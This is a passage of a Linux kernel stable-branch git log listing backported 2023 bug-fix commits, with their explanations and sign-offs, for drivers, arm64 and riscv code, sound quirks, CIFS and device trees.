cc3fa629bf13bbcba9b59316c923da3754e2863d Author: Yangtao Li Date: Thu Jul 27 15:00:51 2023 +0800 mmc: f-sdh30: fix order of function calls in sdhci_f_sdh30_remove commit 58abdd80b93b09023ca03007b608685c41e3a289 upstream. The order of function calls in sdhci_f_sdh30_remove is wrong, let's call sdhci_pltfm_unregister first. Cc: Uwe Kleine-König Fixes: 5def5c1c15bf ("mmc: sdhci-f-sdh30: Replace with sdhci_pltfm") Signed-off-by: Yangtao Li Reported-by: Uwe Kleine-König Acked-by: Uwe Kleine-König Acked-by: Adrian Hunter Cc: stable@vger.kernel.org Link: https://lore.kernel.org/r/20230727070051.17778-62-frank.li@vivo.com Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman commit c65a1be58f099f2555f0198b075501a3e56a0a65 Author: Shazad Hussain Date: Wed Jul 19 16:33:44 2023 +0530 dt-bindings: pinctrl: qcom,sa8775p-tlmm: add gpio function constant commit f00295e890bbc8780cd2076ee17bc7a08a53091c upstream. Alternative function 'gpio' is not listed in the constants for pin configuration, so adding this constant to the list. Cc: stable@vger.kernel.org Fixes: 9a2aaee23c79 ("dt-bindings: pinctrl: describe sa8775p-tlmm") Signed-off-by: Shazad Hussain Reviewed-by: Krzysztof Kozlowski Link: https://lore.kernel.org/r/20230719110344.19983-1-quic_shazhuss@quicinc.com Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman commit ceecb1bcaf7a21367875a222d267448ef3bc60bd Author: Laurent Pinchart Date: Tue Jun 6 18:55:30 2023 +0200 media: uvcvideo: Fix menu count handling for userspace XU mappings commit 6d00f4ec1205a01a6aac1fe3ce04d53a6b2ede59 upstream. When commit 716c330433e3 ("media: uvcvideo: Use standard names for menus") reworked the handling of menu controls, it inadvertently replaced a GENMASK(n - 1, 0) with a BIT_MASK(n). The latter isn't equivalent to the former, which broke adding XU mappings from userspace. Fix it. Link: https://lore.kernel.org/linux-media/468a36ec-c3ac-cb47-e12f-5906239ae3cd@spahan.ch/ Cc: stable@vger.kernel.org Reported-by: Poncho Fixes: 716c330433e3 ("media: uvcvideo: Use standard names for menus") Signed-off-by: Laurent Pinchart Reviewed-by: Ricardo Ribalda Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman commit 531c6ed342d9cbfbf55ef1f293fbf11db8d10835 Author: Sweet Tea Dorminy Date: Thu Aug 17 10:15:56 2023 -0400 blk-crypto: dynamically allocate fallback profile commit c984ff1423ae9f70b1f28ce811856db0d9c99021 upstream. blk_crypto_profile_init() calls lockdep_register_key(), which warns and does not register if the provided memory is a static object. blk-crypto-fallback currently has a static blk_crypto_profile and calls blk_crypto_profile_init() thereupon, resulting in the warning and failure to register. Fortunately it is simple enough to use a dynamically allocated profile and make lockdep function correctly. Fixes: 2fb48d88e77f ("blk-crypto: use dynamic lock class for blk_crypto_profile::lock") Cc: stable@vger.kernel.org Signed-off-by: Sweet Tea Dorminy Reviewed-by: Eric Biggers Link: https://lore.kernel.org/r/20230817141615.15387-1-sweettea-kernel@dorminy.me Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman commit 8a33c9e15b7dbf9f7173acdb6937bacb3269c80a Author: Mark Brown Date: Wed Aug 16 19:40:07 2023 +0100 arm64/ptrace: Ensure that the task sees ZT writes on first use commit 2f43f549cd0b3164ea0345e59aa3958c0d243383 upstream. When the value of ZT is set via ptrace we don't disable traps for SME. This means that when a the task has never used SME before then the value set via ptrace will never be seen by the target task since it will trigger a SME access trap which will flush the register state. Disable SME traps when setting ZT, this means we also need to allocate storage for SVE if it is not already allocated, for the benefit of streaming SVE. Fixes: f90b529bcbe5 ("arm64/sme: Implement ZT0 ptrace support") Signed-off-by: Mark Brown Cc: # 6.3.x Link: https://lore.kernel.org/r/20230816-arm64-zt-ptrace-first-use-v2-1-00aa82847e28@kernel.org Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman commit e01af8e26c23a08625a3dd6c8c472a1752d76cce Author: Mark Brown Date: Thu Aug 10 12:28:19 2023 +0100 arm64/ptrace: Ensure that SME is set up for target when writing SSVE state commit 5d0a8d2fba50e9c07cde4aad7fba28c008b07a5b upstream. When we use NT_ARM_SSVE to either enable streaming mode or change the vector length for a process we do not currently do anything to ensure that there is storage allocated for the SME specific register state. If the task had not previously used SME or we changed the vector length then the task will not have had TIF_SME set or backing storage for ZA/ZT allocated, resulting in inconsistent register sizes when saving state and spurious traps which flush the newly set register state. We should set TIF_SME to disable traps and ensure that storage is allocated for ZA and ZT if it is not already allocated. This requires modifying sme_alloc() to make the flush of any existing register state optional so we don't disturb existing state for ZA and ZT. Fixes: e12310a0d30f ("arm64/sme: Implement ptrace support for streaming mode SVE registers") Reported-by: David Spickett Signed-off-by: Mark Brown Cc: # 5.19.x Link: https://lore.kernel.org/r/20230810-arm64-fix-ptrace-race-v1-1-a5361fad2bd6@kernel.org Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman commit 44463c32622fb3c785d00953a9f137724638f3ff Author: Yogesh Hegde Date: Tue Jul 18 22:09:41 2023 +0530 arm64: dts: rockchip: Fix Wifi/Bluetooth on ROCK Pi 4 boards commit ebceec271e552a2b05e47d8ef0597052b1a39449 upstream. This patch fixes an issue affecting the Wifi/Bluetooth connectivity on ROCK Pi 4 boards. Commit f471b1b2db08 ("arm64: dts: rockchip: Fix Bluetooth on ROCK Pi 4 boards") introduced a problem with the clock configuration. Specifically, the clock-names property of the sdio-pwrseq node was not updated to 'lpo', causing the driver to wait indefinitely for the wrong clock signal 'ext_clock' instead of the expected one 'lpo'. This prevented the proper initialization of Wifi/Bluetooth chip on ROCK Pi 4 boards. To address this, this patch updates the clock-names property of the sdio-pwrseq node to "lpo" to align with the changes made to the bluetooth node. This patch has been tested on ROCK Pi 4B. Fixes: f471b1b2db08 ("arm64: dts: rockchip: Fix Bluetooth on ROCK Pi 4 boards") Cc: stable@vger.kernel.org Signed-off-by: Yogesh Hegde Link: https://lore.kernel.org/r/ZLbATQRjOl09aLAp@zephyrusG14 Signed-off-by: Heiko Stuebner Signed-off-by: Greg Kroah-Hartman commit 901ace2effdf0c1ec67d858008f08f1e0c158f44 Author: Hawkins Jiawei Date: Thu Aug 10 19:04:05 2023 +0800 virtio-net: Zero max_tx_vq field for VIRTIO_NET_CTRL_MQ_HASH_CONFIG case commit 2c507ce90e02cd78d00fd4b0fe26c8641873c13f upstream. Kernel uses `struct virtio_net_ctrl_rss` to save command-specific-data for both the VIRTIO_NET_CTRL_MQ_HASH_CONFIG and VIRTIO_NET_CTRL_MQ_RSS_CONFIG commands. According to the VirtIO standard, "Field reserved MUST contain zeroes. It is defined to make the structure to match the layout of virtio_net_rss_config structure, defined in 5.1.6.5.7.". Yet for the VIRTIO_NET_CTRL_MQ_HASH_CONFIG command case, the `max_tx_vq` field in struct virtio_net_ctrl_rss, which corresponds to the `reserved` field in struct virtio_net_hash_config, is not zeroed, thereby violating the VirtIO standard. This patch solves this problem by zeroing this field in virtnet_init_default_rss(). Cc: Andrew Melnychenko Cc: stable@vger.kernel.org Fixes: c7114b1249fa ("drivers/net/virtio_net: Added basic RSS support.") Signed-off-by: Hawkins Jiawei Acked-by: Jason Wang Acked-by: Eugenio Pérez Acked-by: Michael S. Tsirkin Message-Id: <20230810110405.25558-1-yin31149@gmail.com> Signed-off-by: Michael S. Tsirkin Reviewed-by: Xuan Zhuo Acked-by: Jason Wang Signed-off-by: Greg Kroah-Hartman commit aa402a3b553bd4829f4504058d53b0351c66c9d4 Author: Martin Fuzzey Date: Fri Aug 4 10:34:30 2023 +0200 regulator: da9063: better fix null deref with partial DT commit 30c694fd4a99fbbc4115d180156ca01b60953371 upstream. Two versions of the original patch were sent but V1 was merged instead of V2 due to a mistake. So update to V2. The advantage of V2 is that it completely avoids dereferencing the pointer, even just to take the address, which may fix problems with some compilers. Both versions work on my gcc 9.4 but use the safer one. Fixes: 98e2dd5f7a8b ("regulator: da9063: fix null pointer deref with partial DT config") Signed-off-by: Martin Fuzzey Tested-by: Benjamin Bara Cc: stable@vger.kernel.org Link: https://lore.kernel.org/r/20230804083514.1887124-1-martin.fuzzey@flowbird.group Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman commit abcd2a0b4f5890225097ba2f9f9e95b47f1a6014 Author: Scott Mayhew Date: Wed Aug 16 00:23:56 2023 -0500 smb: client: fix null auth commit 270d73e6507f9c7fff43844d74f86365df000b36 upstream. Commit abdb1742a312 removed code that clears ctx->username when sec=none, so attempting to mount with '-o sec=none' now fails with -EACCES. Fix it by adding that logic to the parsing of the 'sec' option, as well as checking if the mount is using null auth before setting the username when parsing the 'user' option. Fixes: abdb1742a312 ("cifs: get rid of mount options string parsing") Cc: stable@vger.kernel.org Signed-off-by: Scott Mayhew Reviewed-by: Paulo Alcantara (SUSE) Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman commit b8e7ee1d9c6b8dc509de1f35cd9d1d30564e6f7b Author: Helge Deller Date: Sun Aug 13 22:11:19 2023 +0200 parisc: Fix CONFIG_TLB_PTLOCK to work with lightweight spinlock checks commit 7a894c87374771f3cfb1b8e5453fbe03f1fb8135 upstream. For the TLB_PTLOCK checks we used an optimization to store the spc register into the spinlock to unlock it. This optimization works as long as the lightweight spinlock checks (CONFIG_LIGHTWEIGHT_SPINLOCK_CHECK) aren't enabled, because they really check if the lock word is zero or __ARCH_SPIN_LOCK_UNLOCKED_VAL and abort with a kernel crash ("Spinlock was trashed") otherwise. Drop that optimization to make it possible to activate both checks at the same time. Noticed-by: Sam James Signed-off-by: Helge Deller Tested-by: Sam James Cc: stable@vger.kernel.org # v6.4+ Fixes: 15e64ef6520e ("parisc: Add lightweight spinlock checks") Signed-off-by: Greg Kroah-Hartman commit 7a9fb689c1a1dc373887621a3bfa3810df0abde4 Author: Russell Harmon via samba-technical Date: Thu Aug 10 00:19:22 2023 -0700 cifs: Release folio lock on fscache read hit. commit 69513dd669e243928f7450893190915a88f84a2b upstream. Under the current code, when cifs_readpage_worker is called, the call contract is that the callee should unlock the page. This is documented in the read_folio section of Documentation/filesystems/vfs.rst as: > The filesystem should unlock the folio once the read has completed, > whether it was successful or not. Without this change, when fscache is in use and cache hit occurs during a read, the page lock is leaked, producing the following stack on subsequent reads (via mmap) to the page: $ cat /proc/3890/task/12864/stack [<0>] folio_wait_bit_common+0x124/0x350 [<0>] filemap_read_folio+0xad/0xf0 [<0>] filemap_fault+0x8b1/0xab0 [<0>] __do_fault+0x39/0x150 [<0>] do_fault+0x25c/0x3e0 [<0>] __handle_mm_fault+0x6ca/0xc70 [<0>] handle_mm_fault+0xe9/0x350 [<0>] do_user_addr_fault+0x225/0x6c0 [<0>] exc_page_fault+0x84/0x1b0 [<0>] asm_exc_page_fault+0x27/0x30 This requires a reboot to resolve; it is a deadlock. Note however that the call to cifs_readpage_from_fscache does mark the page clean, but does not free the folio lock. This happens in __cifs_readpage_from_fscache on success. Releasing the lock at that point however is not appropriate as cifs_readahead also calls cifs_readpage_from_fscache and *does* unconditionally release the lock after its return. This change therefore effectively makes cifs_readpage_worker work like cifs_readahead. Signed-off-by: Russell Harmon Acked-by: Paulo Alcantara (SUSE) Reviewed-by: David Howells Cc: stable@vger.kernel.org Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman commit 8bd9786a1b571707d45fdb2b887c1c43344dd800 Author: dengxiang Date: Thu Aug 3 10:44:37 2023 +0800 ALSA: usb-audio: Add support for Mythware XA001AU capture and playback interfaces. commit 788449ae57f4273111b779bbcaad552b67f517d5 upstream. This patch adds a USB quirk for Mythware XA001AU USB interface. Signed-off-by: dengxiang Cc: Link: https://lore.kernel.org/r/20230803024437.370069-1-dengxiang@nfschina.com Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman commit 375806616f8c772c33d40e112530887b37c1a816 Author: Tony Lindgren Date: Fri Aug 4 16:15:51 2023 +0300 serial: 8250: Fix oops for port->pm on uart_change_pm() [ Upstream commit dfe2aeb226fd5e19b0ee795f4f6ed8bc494c1534 ] Unloading a hardware specific 8250 driver can produce error "Unable to handle kernel paging request at virtual address" about ten seconds after unloading the driver. This happens on uart_hangup() calling uart_change_pm(). Turns out commit 04e82793f068 ("serial: 8250: Reinit port->pm on port specific driver unbind") was only a partial fix. If the hardware specific driver has initialized port->pm function, we need to clear port->pm too. Just reinitializing port->ops does not do this. Otherwise serial8250_pm() will call port->pm() instead of serial8250_do_pm(). Fixes: 04e82793f068 ("serial: 8250: Reinit port->pm on port specific driver unbind") Signed-off-by: Tony Lindgren Link: https://lore.kernel.org/r/20230804131553.52927-1-tony@atomide.com Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 258b867f40f0551ded7c5dc595c7abc1eaa08e39 Author: Alexandre Ghiti Date: Fri Aug 11 17:06:04 2023 +0200 riscv: uaccess: Return the number of bytes effectively not copied [ Upstream commit 4b05b993900dd3eba0fc83ef5c5ddc7d65d786c6 ] It was reported that the riscv kernel hangs while executing the test in [1]. Indeed, the test hangs when trying to write a buffer to a file. The problem is that the riscv implementation of raw_copy_from_user() does not return the correct number of bytes not written when an exception happens and is fixed up, instead it always returns the initial size to copy, even if some bytes were actually copied. generic_perform_write() pre-faults the user pages and bails out if nothing can be written, otherwise it will access the userspace buffer: here the riscv implementation keeps returning it was not able to copy any byte though the pre-faulting indicates otherwise. So generic_perform_write() keeps retrying to access the user memory and ends up in an infinite loop. Note that before the commit mentioned in [1] that introduced this regression, it worked because generic_perform_write() would bail out if only one byte could not be written. So fix this by returning the number of bytes effectively not written in __asm_copy_[to|from]_user() and __clear_user(), as it is expected. Link: https://lore.kernel.org/linux-riscv/20230309151841.bomov6hq3ybyp42a@debian/ [1] Fixes: ebcbd75e3962 ("riscv: Fix the bug in memory access fixup code") Reported-by: Bo YU Closes: https://lore.kernel.org/linux-riscv/20230309151841.bomov6hq3ybyp42a@debian/#t Reported-by: Aurelien Jarno Closes: https://lore.kernel.org/linux-riscv/ZNOnCakhwIeue3yr@aurel32.net/ Signed-off-by: Alexandre Ghiti Reviewed-by: Björn Töpel Tested-by: Aurelien Jarno Reviewed-by: Aurelien Jarno Link: https://lore.kernel.org/r/20230811150604.1621784-1-alexghiti@rivosinc.com Signed-off-by: Palmer Dabbelt Signed-off-by: Sasha Levin commit 3f0605239fa28f450c8723973f244e7e976f711b Author: Nam Cao Date: Mon Jul 31 20:39:25 2023 +0200 riscv: correct riscv_insn_is_c_jr() and riscv_insn_is_c_jalr() [ Upstream commit 79bc3f85c51fc352f8e684ba6b626f677a3aa230 ] The instructions c.jr and c.jalr must have rs1 != 0, but riscv_insn_is_c_jr() and riscv_insn_is_c_jalr() do not check for this. So, riscv_insn_is_c_jr() can match a reserved encoding, while riscv_insn_is_c_jalr() can match the c.ebreak instruction. Rewrite them with check for rs1 != 0. Signed-off-by: Nam Cao Reviewed-by: Charlie Jenkins Fixes: ec5f90877516 ("RISC-V: Move riscv_insn_is_* macros into a common header") Link: https://lore.kernel.org/r/20230731183925.152145-1-namcaov@gmail.com Signed-off-by: Palmer Dabbelt Signed-off-by: Sasha Levin commit 761cf8f7a922ba7264bc60f51c9b722a887a115a Author: Celeste Liu Date: Tue Aug 1 22:15:16 2023 +0800 riscv: entry: set a0 = -ENOSYS only when syscall != -1 [ Upstream commit 52449c17bdd1540940e21511612b58acebc49c06 ] When we test seccomp with 6.4 kernel, we found errno has wrong value. If we deny NETLINK_AUDIT with EAFNOSUPPORT, after f0bddf50586d, we will get ENOSYS instead. We got same result with commit 9c2598d43510 ("riscv: entry: Save a0 prior syscall_enter_from_user_mode()"). After analysing code, we think that regs->a0 = -ENOSYS should only be executed when syscall != -1. In __seccomp_filter, when seccomp rejected this syscall with specified errno, they will set a0 to return number as syscall ABI, and then return -1. This return number is finally pass as return number of syscall_enter_from_user_mode, and then is compared with NR_syscalls after converted to ulong (so it will be ULONG_MAX). The condition syscall < NR_syscalls will always be false, so regs->a0 = -ENOSYS is always executed. It covered a0 set by seccomp, so we always get ENOSYS when match seccomp RET_ERRNO rule. Fixes: f0bddf50586d ("riscv: entry: Convert to generic entry") Reported-by: Felix Yan Co-developed-by: Ruizhe Pan Signed-off-by: Ruizhe Pan Co-developed-by: Shiqi Zhang Signed-off-by: Shiqi Zhang Signed-off-by: Celeste Liu Tested-by: Felix Yan Tested-by: Emil Renner Berthing Reviewed-by: Björn Töpel Reviewed-by: Guo Ren Link: https://lore.kernel.org/r/20230801141607.435192-1-CoelacanthusHex@gmail.com Signed-off-by: Palmer Dabbelt Signed-off-by: Sasha Levin commit 4039f5e9e9d93035a8764d18aefa796d7a61fa7c Author: Kailang Yang Date: Tue Aug 15 15:54:23 2023 +0800 ALSA: hda/realtek - Remodified 3k pull low procedure [ Upstream commit 46cdff2369cbdf8d78081a22526e77bd1323f563 ] Set spec->en_3kpull_low default to true. Then fillback ALC236 and ALC257 to false. Additional note: this addresses a regression caused by the previous fix 69ea4c9d02b7 ("ALSA: hda/realtek - remove 3k pull low procedure"). The previous workaround was applied too widely without necessity, which resulted in the pop noise at PM again. This patch corrects the condition and restores the old behavior for the devices that don't suffer from the original problem. Fixes: 69ea4c9d02b7 ("ALSA: hda/realtek - remove 3k pull low procedure") Link: https://bugzilla.kernel.org/show_bug.cgi?id=217732 Link: https://lore.kernel.org/r/01e212a538fc407ca6edd10b81ff7b05@realtek.com Signed-off-by: Kailang Yang Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit d9a5ad4477d2a11e9b03f00c52694451e9332228 Author: Jiasheng Jiang Date: Thu Aug 10 22:01:04 2023 +0930 soc: aspeed: socinfo: Add kfree for kstrdup [ Upstream commit 6e6d847a8ce18ab2fbec4f579f682486a82d2c6b ] Add kfree() in the later error handling in order to avoid memory leak. Fixes: e0218dca5787 ("soc: aspeed: Add soc info driver") Signed-off-by: Jiasheng Jiang Link: https://lore.kernel.org/r/20230707021625.7727-1-jiasheng@iscas.ac.cn Signed-off-by: Joel Stanley Link: https://lore.kernel.org/r/20230810123104.231167-1-joel@jms.id.au Signed-off-by: Arnd Bergmann Signed-off-by: Sasha Levin commit 776133d21391c14d240432ec2ff36b67f7f62584 Author: Zev Weiss Date: Thu Aug 10 21:59:41 2023 +0930 soc: aspeed: uart-routing: Use __sysfs_match_string [ Upstream commit e4ad279ae345413d900d791f2f618d0a1cd0d791 ] The existing use of match_string() caused it to reject 'echo foo' due to the implicitly appended newline, which was somewhat ergonomically awkward and inconsistent with typical sysfs behavior. Using the __sysfs_* variant instead provides more convenient and consistent linefeed-agnostic behavior. Signed-off-by: Zev Weiss Fixes: c6807970c3bc ("soc: aspeed: Add UART routing support") Reviewed-by: Joel Stanley Link: https://lore.kernel.org/r/20230628083735.19946-2-zev@bewilderbeest.net Signed-off-by: Joel Stanley Link: https://lore.kernel.org/r/20230810122941.231085-1-joel@jms.id.au Signed-off-by: Arnd Bergmann Signed-off-by: Sasha Levin commit 7c315e716ba3e0fd528bfffd34f02fec27bf3fb0 Author: Ninad Naik Date: Wed Aug 9 15:36:34 2023 +0530 pinctrl: qcom: Add intr_target_width field to support increased number of interrupt targets [ Upstream commit 9757300d2750ef76f139aa6f5f7eadd61a0de0d3 ] SA8775 and newer target have added support for an increased number of interrupt targets. To implement this change, the intr_target field, which is used to configure the interrupt target in the interrupt configuration register is increased from 3 bits to 4 bits. In accordance to these updates, a new intr_target_width member is introduced in msm_pingroup structure. This member stores the value of width of intr_target field in the interrupt configuration register. This value is used to dynamically calculate and generate mask for setting the intr_target field. By default, this mask is set to 3 bit wide, to ensure backward compatibility with the older targets. Fixes: 4b6b18559927 ("pinctrl: qcom: add the tlmm driver sa8775p platforms") Tested-by: Andrew Halaney # sa8775p-ride Signed-off-by: Ninad Naik Reviewed-by: Konrad Dybcio Reviewed-by: Bjorn Andersson Link: https://lore.kernel.org/r/20230809100634.3961-1-quic_ninanaik@quicinc.com Signed-off-by: Linus Walleij Signed-off-by: Sasha Levin commit 44f3d2d2ae441e226b87ab049c4af5c72115f36e Author: Stefan Binding Date: Wed Aug 9 15:29:56 2023 +0100 ALSA: hda/realtek: Add quirks for HP G11 Laptops [ Upstream commit fb8cce69e5e56eedb35fc4d77b2f099860965859 ] These HP G11 laptops use Realtek HDA codec combined with 2xCS35L41 Amplifiers using SPI or I2C with External Boost. Laptop 103c8c26 has been removed as this has been replaced by this new series of laptops. Fixes: 3e10f6ca76c4 ("ALSA: hda/realtek: Add quirk for HP EliteBook G10 laptops") Signed-off-by: Stefan Binding Link: https://lore.kernel.org/r/20230809142957.675933-2-sbinding@opensource.cirrus.com Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit cf2983df94de9e2ce52bcc74c02da6ba70138da1 Author: Jerome Brunet Date: Wed Aug 9 19:19:31 2023 +0200 ASoC: meson: axg-tdm-formatter: fix channel slot allocation [ Upstream commit c1f848f12103920ca165758aedb1c10904e193e1 ] When the tdm lane mask is computed, the driver currently fills the 1st lane before moving on to the next. If the stream has less channels than the lanes can accommodate, slots will be disabled on the last lanes. Unfortunately, the HW distribute channels in a different way. It distribute channels in pair on each lanes before moving on the next slots. This difference leads to problems if a device has an interface with more than 1 lane and with more than 2 slots per lane. For example: a playback interface with 2 lanes and 4 slots each (total 8 slots - zero based numbering) - Playing a 8ch stream: - All slots activated by the driver - channel #2 will be played on lane #1 - slot #0 following HW placement - Playing a 4ch stream: - Lane #1 disabled by the driver - channel #2 will be played on lane #0 - slot #2 This behaviour is obviously not desirable. Change the way slots are activated on the TDM lanes to follow what the HW does and make sure each channel always get mapped to the same slot/lane. Fixes: 1a11d88f499c ("ASoC: meson: add tdm formatter base driver") Signed-off-by: Jerome Brunet Link: https://lore.kernel.org/r/20230809171931.1244502-1-jbrunet@baylibre.com Signed-off-by: Mark Brown Signed-off-by: Sasha Levin commit 5de8e85b6734250c61017c6812a79e618922425b Author: Zhang Shurong Date: Tue Aug 1 23:59:11 2023 +0800 ASoC: rt5665: add missed regulator_bulk_disable [ Upstream commit c163108e706909570f8aa9aa5bcf6806e2b4c98c ] The driver forgets to call regulator_bulk_disable() Add the missed call to fix it. Fixes: 33ada14a26c8 ("ASoC: add rt5665 codec driver") Signed-off-by: Zhang Shurong Link: https://lore.kernel.org/r/tencent_A560D01E3E0A00A85A12F137E4B5205B3508@qq.com Signed-off-by: Mark Brown Signed-off-by: Sasha Levin commit f163dc22e339174cd8fe26736289260b4e246216 Author: Alexander Stein Date: Fri Jul 28 10:34:35 2023 +0200 arm64: dts: imx93: Fix anatop node size [ Upstream commit 78e869dd8b2ba19765ac9b05cdea3e432d1dc188 ] Although the memory map of i.MX93 reference manual rev. 2 claims that analog top has start address of 0x44480000 and end address of 0x4448ffff, this overlaps with TMU memory area starting at 0x44482000, as stated in section 73.6.1. As PLL configuration registers start at addresses up to 0x44481400, as used by clk-imx93, reduce the anatop size to 0x2000, so exclude the TMU area but keep all PLL registers inside. Fixes: ec8b5b5058ea ("arm64: dts: freescale: Add i.MX93 dtsi support") Signed-off-by: Alexander Stein Reviewed-by: Peng Fan Reviewed-by: Jacky Bai Signed-off-by: Shawn Guo Signed-off-by: Sasha Levin commit 5fb0d35fac3fabbfbb8fa7d65af130f72b086a6e Author: Bard Liao Date: Fri Aug 4 11:47:34 2023 +0800 ASoC: max98363: don't return on success reading revision ID [ Upstream commit 385311101538b071a487a9245e01349e3a68ed2c ] max98363_io_init needs to keep going when we read revision ID successfully. Fixes: 18c0af945fa3 ("ASoC: max98363: add soundwire amplifier driver") Signed-off-by: Bard Liao Reviewed-by: Pierre-Louis Bossart Reviewed-by: Ranjani Sridharan Link: https://lore.kernel.org/r/20230804034734.3848227-1-yung-chuan.liao@linux.intel.com Signed-off-by: Mark Brown Signed-off-by: Sasha Levin commit 66f202b1dcb61fa4e15ef94ec43bc892c17c903a Author: Xiaolei Wang Date: Wed Jul 26 15:57:47 2023 +0800 ARM: dts: imx: Set default tuning step for imx6sx usdhc [ Upstream commit 0a2b96e42a0284c4fc03022236f656a085ca714a ] If the tuning step is not set, the tuning step is set to 1. For some sd cards, the following Tuning timeout will occur. Tuning failed, falling back to fixed sampling clock So set the default tuning step. This refers to the NXP vendor's commit below: https://github.com/nxp-imx/linux-imx/blob/lf-6.1.y/ arch/arm/boot/dts/imx6sx.dtsi#L1108-L1109 Fixes: 1e336aa0c025 ("mmc: sdhci-esdhc-imx: correct the tuning start tap and step setting") Signed-off-by: Xiaolei Wang Reviewed-by: Fabio Estevam Signed-off-by: Shawn Guo Signed-off-by: Sasha Levin commit fe4d623f2e1bee49459c56bb1f8a9f65fb727cf2 Author: Fabio Estevam Date: Tue Jul 25 20:26:28 2023 -0300 arm64: dts: imx8mm: Drop CSI1 PHY reference clock configuration [ Upstream commit f02b53375e8f14b4c27a14f6e4fb6e89914fdc29 ] The CSI1 PHY reference clock is limited to 125 MHz according to: i.MX 8M Mini Applications Processor Reference Manual, Rev. 3, 11/2020 Table 5-1. Clock Root Table (continued) / page 307 Slice Index n = 123 . Currently the IMX8MM_CLK_CSI1_PHY_REF clock is configured to be fed directly from 1 GHz PLL2 , which overclocks them. Instead, drop the configuration altogether, which defaults the clock to 24 MHz REF clock input, which for the PHY reference clock is just fine. Based on a patch from Marek Vasut for the imx8mn. Fixes: e523b7c54c05 ("arm64: dts: imx8mm: Add CSI nodes") Signed-off-by: Fabio Estevam Reviewed-by: Marek Vasut Reviewed-by: Marco Felsch Reviewed-by: Adam Ford Signed-off-by: Shawn Guo Signed-off-by: Sasha Levin commit a1aab731f0c8307857bd6b6480b6ab19472c6880 Author: Xiaolei Wang Date: Mon Jul 24 23:45:10 2023 +0800 ARM: dts: imx: Set default tuning step for imx7d usdhc [ Upstream commit be18293e47cbca7c6acee9231fc851601d69563a ] If the tuning step is not set, the tuning step is set to 1. For some sd cards, the following Tuning timeout will occur. Tuning failed, falling back to fixed sampling clock mmc0: Tuning failed, falling back to fixed sampling clock So set the default tuning step. This refers to the NXP vendor's commit below: https://github.com/nxp-imx/linux-imx/blob/lf-6.1.y/ arch/arm/boot/dts/imx7s.dtsi#L1216-L1217 Fixes: 1e336aa0c025 ("mmc: sdhci-esdhc-imx: correct the tuning start tap and step setting") Signed-off-by: Xiaolei Wang Reviewed-by: Fabio Estevam Signed-off-by: Shawn Guo Signed-off-by: Sasha Levin commit 969d3e64ebe799750b0b5c86efc8ea79be3e94dc Author: Stefan Wahren Date: Fri Apr 14 11:19:46 2023 +0200 ARM: dts: imx: Adjust dma-apbh node name [ Upstream commit e9f5cd85f1f931bb7b64031492f7051187ccaac7 ] Currently the dtbs_check generates warnings like this: $nodename:0: 'dma-apbh@110000' does not match '^dma-controller(@.*)?$' So fix all affected dma-apbh node names. Signed-off-by: Stefan Wahren Signed-off-by: Shawn Guo Stable-dep-of: be18293e47cb ("ARM: dts: imx: Set default tuning step for imx7d usdhc") Signed-off-by: Sasha Levin commit 506f787bd71778c81fa83879574ae3927ecc853c Author: Andrej Picej Date: Wed Jul 19 13:43:26 2023 +0200 ARM: dts: imx6: phytec: fix RTC interrupt level [ Upstream commit 762b700982a1e0f562184363f19860c3b9bdd0bf ] RTC interrupt level should be set to "LOW". This was revealed by the introduction of commit: f181987ef477 ("rtc: m41t80: use IRQ flags obtained from fwnode") which changed the way IRQ type is obtained. Signed-off-by: Andrej Picej Reviewed-by: Stefan Riedmüller Fixes: 800d595151bb ("ARM: dts: imx6: Add initial support for phyBOARD-Mira") Signed-off-by: Shawn Guo Signed-off-by: Sasha Levin commit 0e67e84a2847e321e8e434a3a86545cdac0aed10 Author: Christopher Obbard Date: Wed Jul 5 15:42:55 2023 +0100 arm64: dts: rockchip: Disable HS400 for eMMC on ROCK 4C+ [ Upstream commit 2bd1d2dd808c60532283e9cf05110bf1bf2f9079 ] There is some instablity with some eMMC modules on ROCK Pi 4 SBCs running in HS400 mode. This ends up resulting in some block errors after a while or after a "heavy" operation utilising the eMMC (e.g. resizing a filesystem). An example of these errors is as follows: [ 289.171014] mmc1: running CQE recovery [ 290.048972] mmc1: running CQE recovery [ 290.054834] mmc1: running CQE recovery [ 290.060817] mmc1: running CQE recovery [ 290.061337] blk_update_request: I/O error, dev mmcblk1, sector 1411072 op 0x1:(WRITE) flags 0x800 phys_seg 36 prio class 0 [ 290.061370] EXT4-fs warning (device mmcblk1p1): ext4_end_bio:348: I/O error 10 writing to inode 29547 starting block 176466) [ 290.061484] Buffer I/O error on device mmcblk1p1, logical block 172288 [ 290.061531] Buffer I/O error on device mmcblk1p1, logical block 172289 [ 290.061551] Buffer I/O error on device mmcblk1p1, logical block 172290 [ 290.061574] Buffer I/O error on device mmcblk1p1, logical block 172291 [ 290.061592] Buffer I/O error on device mmcblk1p1, logical block 172292 [ 290.061615] Buffer I/O error on device mmcblk1p1, logical block 172293 [ 290.061632] Buffer I/O error on device mmcblk1p1, logical block 172294 [ 290.061654] Buffer I/O error on device mmcblk1p1, logical block 172295 [ 290.061673] Buffer I/O error on device mmcblk1p1, logical block 172296 [ 290.061695] Buffer I/O error on device mmcblk1p1, logical block 172297 Disabling the Command Queue seems to stop the CQE recovery from running, but doesn't seem to improve the I/O errors. Until this can be investigated further, disable HS400 mode on the ROCK Pi 4 SBCs to at least stop I/O errors from occurring. Fixes: 246450344dad ("arm64: dts: rockchip: rk3399: Radxa ROCK 4C+") Signed-off-by: Christopher Obbard Link: https://lore.kernel.org/r/20230705144255.115299-3-chris.obbard@collabora.com Signed-off-by: Heiko Stuebner Signed-off-by: Sasha Levin commit 749e4dbb3c96c1f3aae256928c4d4f3a308ad81c Author: Christopher Obbard Date: Wed Jul 5 15:42:54 2023 +0100 arm64: dts: rockchip: Disable HS400 for eMMC on ROCK Pi 4 [ Upstream 